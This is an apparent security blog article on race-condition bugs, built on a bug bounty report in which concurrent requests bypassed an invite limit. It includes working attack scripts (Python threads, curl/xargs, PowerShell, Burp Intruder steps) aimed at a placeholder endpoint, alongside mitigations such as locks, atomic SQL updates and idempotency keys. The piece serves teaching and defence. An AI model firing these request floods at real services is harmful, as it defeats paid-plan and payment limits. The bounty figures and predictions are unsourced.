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Introduction:
Race conditions occur when multiple threads or processes access shared resources (e.g., a database counter) simultaneously without proper synchronization, leading to inconsistent or unintended states. In web applications, this vulnerability can allow attackers to bypass business logic constraints—such as exceeding an invite limit on a professional plan—by firing a barrage of concurrent requests before the server updates the resource. This article dissects a real-world bug report where a race condition bypassed invite limits, provides step‑by‑step exploitation techniques using Burp Suite, and delivers hardening strategies for developers and pentesters.
Learning Objectives:
- Understand how race condition vulnerabilities can subvert multi‑threaded quota and limit checks.
- Learn to exploit an invite limit bypass using Burp Suite Intruder with concurrent request threads.
- Implement defensive coding patterns, distributed locks, and database‑level mitigations to prevent race conditions.
You Should Know:
- Understanding the Race Condition Vulnerability in Invite Limits
The core flaw lies in a “check‑then‑act” pattern without atomicity. The application first checks the current number of invited users (e.g., SELECT COUNT() FROM invites WHERE plan_id = X). If the count is below the limit (say 100), it proceeds to insert a new invite record. In a single‑threaded environment, this works. But with 75 concurrent requests arriving almost simultaneously, each thread reads the same count (e.g., 99) before any thread finishes the insert. All 75 threads then insert, overshooting the limit to 174 invites.
Step‑by‑step of the attack flow:
- The attacker identifies a feature that enforces a limit (e.g., “Invite Members” button on a professional plan).
- They use a tool like Burp Suite to capture the HTTP request that adds an invite.
- Instead of sending one request, they replay the same request many times in parallel.
- The server’s race condition allows each request to pass the limit check before the counter is updated.
Python script to simulate the race (Linux/macOS):
import requests
import threading
url = "https://target.com/api/invite"
payload = {"email": "[email protected]", "plan_id": "pro"}
headers = {"Cookie": "session=YOUR_SESSION"}
def send_invite():
try:
r = requests.post(url, json=payload, headers=headers)
print(f"Status: {r.status_code}")
except Exception as e:
print(e)
threads = []
for _ in range(75):
t = threading.Thread(target=send_invite)
t.start()
threads.append(t)
for t in threads:
t.join()
2. Exploiting with Burp Suite Intruder (Step‑by‑Step)
Burp Suite Professional’s Intruder module is the weapon of choice for race condition testing due to its “resource pool” concurrency settings.
Step‑by‑step guide:
- Navigate to the invite members URL/feature in your browser while Burp Suite proxy is active.
- Capture the POST/GET request that sends the invite (e.g.,
POST /api/team/invite). Right‑click → “Send to Intruder”. - Configure the attack positions – Clear all default payload positions, then highlight the email field value and click “Add §”. Alternatively, leave no positions if you only want to replay the same request.
- Go to the “Resource Pool” tab – Create a new pool, set “Maximum concurrent requests” to 75 (as per the original report). Disable “Delay between requests”.
- Payloads – If you need varying emails, use a simple list payload of 75 different addresses. For a true race condition, all requests should be identical.
- Launch the attack – Click “Start attack”. Burp will fire 75 threads simultaneously. Observe that the server returns “200 OK” for many requests, even after the limit is exceeded.
Alternative using OWASP ZAP:
Use ZAP’s “Fuzzer” with the “Concurrent Scanning” option under “Advanced” → “Threads” set to 75.
- Linux & Windows Commands for Race Condition Testing
You don’t always need a GUI tool. Command‑line utilities can also trigger race conditions.
Linux (using `curl` and `xargs` parallel):
Create a file with 75 identical curl commands
seq 1 75 | xargs -I{} -P 75 curl -X POST https://target.com/api/invite \
-H "Cookie: session=YOUR_SESSION" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","plan_id":"pro"}'
Using GNU Parallel (more robust):
seq 1 75 | parallel -j75 'curl -X POST https://target.com/api/invite \
-H "Cookie: session=YOUR_SESSION" -d "email=test{}@example.com&plan_id=pro"'
Windows PowerShell (parallel `Invoke-WebRequest`):
$url = "https://target.com/api/invite"
$body = @{email="[email protected]"; plan_id="pro"} | ConvertTo-Json
$headers = @{"Cookie"="session=YOUR_SESSION"}
1..75 | ForEach-Object -Parallel {
Invoke-RestMethod -Uri $using:url -Method Post -Body $using:body -ContentType "application/json" -Headers $using:headers
} -ThrottleLimit 75
- API Security: Preventing Race Conditions in Cloud Environments
Modern cloud apps often use distributed systems where naive locking fails. Here’s how to harden your API.
Redis distributed lock (Redlock) example in Python:
import redis
import time
r = redis.Redis(host='localhost', port=6379, db=0)
lock_key = f"invite_lock:{plan_id}:{user_id}"
def add_invite(email):
lock = r.lock(lock_key, timeout=5, blocking_timeout=1)
if lock.acquire():
try:
current = get_invite_count(plan_id)
if current < LIMIT:
insert_invite(email)
return True
finally:
lock.release()
return False
Database atomic operation (PostgreSQL):
-- Use a single atomic UPDATE + RETURNING instead of SELECT then INSERT UPDATE plan_quota SET used_invites = used_invites + 1 WHERE plan_id = 'pro' AND used_invites < max_invites RETURNING used_invites; -- If affected_rows == 0, limit reached; no race.
5. Mitigation Strategies & Code Hardening
Beyond locks, implement these defences:
- Idempotency keys – Require a unique `Idempotency-Key` header for each invite. Store processed keys in a database with a unique constraint. Duplicate requests (even concurrent) will be rejected except the first.
- Database unique constraints – If invites are per email per plan, add
UNIQUE(plan_id, invited_email). The second concurrent insert will fail with a duplicate error. - Transaction isolation – Use `SERIALIZABLE` isolation level. However, it can cause performance issues; pessimistic row‑level locks are often better.
- Rate limiting per user – Use a sliding window counter (e.g., Redis `INCR` with expiry). This does not prevent race conditions but reduces the window of opportunity.
Flask + SQLAlchemy pessimistic locking example:
from sqlalchemy import select, update from app import db def invite_user(plan_id, email): Lock the specific plan row plan = db.session.execute( select(Plan).where(Plan.id == plan_id).with_for_update() ).scalar_one() if plan.invite_count >= plan.max_invites: return False plan.invite_count += 1 db.session.add(Invite(plan_id=plan_id, email=email)) db.session.commit() return True
6. Real‑World Bug Bounty Impact & Responsible Disclosure
Race condition bugs frequently yield high‑severity bounties (often $1,000–$10,000) because they bypass monetary limits (e.g., coupon usage, trial extensions, invite quotas). Similar vulnerabilities have been found in Uber, GitHub, and Stripe.
Responsible disclosure steps:
- Verify the race condition on a test account – do not exceed limits on production.
- Document with Burp/ZAP logs and a proof‑of‑concept script.
- Report via the company’s bug bounty program (HackerOne, Bugcrowd) with clear steps to reproduce.
- Do not publicly disclose until the vendor fixes the issue and grants permission.
Join the community: The original post links to a learning group: https://lnkd.in/g9Pb6sGX – a resource for bug hunters and ethical hackers.
- Advanced: Race Conditions Beyond Invites – Token Generation, Payment Flows
Race conditions are not limited to invite limits. Critical areas include:
– Coupon usage – Applying a single‑use coupon multiple times concurrently.
– Balance transfers – Withdrawing more than available balance.
– Token generation – Nonce reuse in OAuth flows.
– File uploads – Overwriting files by racing upload and deletion.
Fuzzing for race conditions: Use tools like `racefuzz` (Python) or `turbo-intruder` (Burp extension) that can send thousands of requests in a single TCP connection for microsecond precision.
What Undercode Say:
- Key Takeaway 1: Race conditions are a class of “time‑of‑check to time‑of‑use” (TOCTOU) bugs that bypass business logic. They are often missed by automated scanners but are gold for manual bug hunters.
- Key Takeaway 2: Mitigation must happen at the data layer – using atomic operations, distributed locks, or database constraints. Client‑side or API gateway rate limiting alone is useless against concurrency.
Analysis: The invite limit bypass is a textbook race condition, yet many production apps still rely on a simple SELECT before INSERT. As more companies adopt microservices and asynchronous event‑driven architectures, the attack surface for race conditions expands – especially when services lack a global coordination mechanism like a transaction manager. Pentesters should add concurrency testing to their checklist, and developers should treat every limit check as a potential race unless protected by an atomic operation. The use of 75 concurrent threads in the original report is not arbitrary; it overwhelms common connection pools and request queuing. Interestingly, the same technique works on both REST APIs and GraphQL endpoints. Finally, responsible disclosure and community sharing (like the LinkedIn post) help the entire industry harden its code.
Prediction:
As AI‑powered code assistants (e.g., GitHub Copilot) generate more boilerplate CRUD code, they will inadvertently propagate non‑atomic check‑then‑act patterns at scale. This will lead to a resurgence of race condition vulnerabilities, particularly in serverless functions where cold starts and ephemeral storage make traditional locks impossible. Within two years, we will see the emergence of automated race condition fuzzers that use machine learning to predict resource contention points, and cloud providers will offer “atomic counters as a service” to simplify mitigation. Bug bounty payouts for race conditions will rise to match those of authentication bypasses, reaching $10,000–$20,000 for high‑impact flaws in financial or collaboration software.
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IT/Security Reporter URL:
Reported By: Vikas Gupta63 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
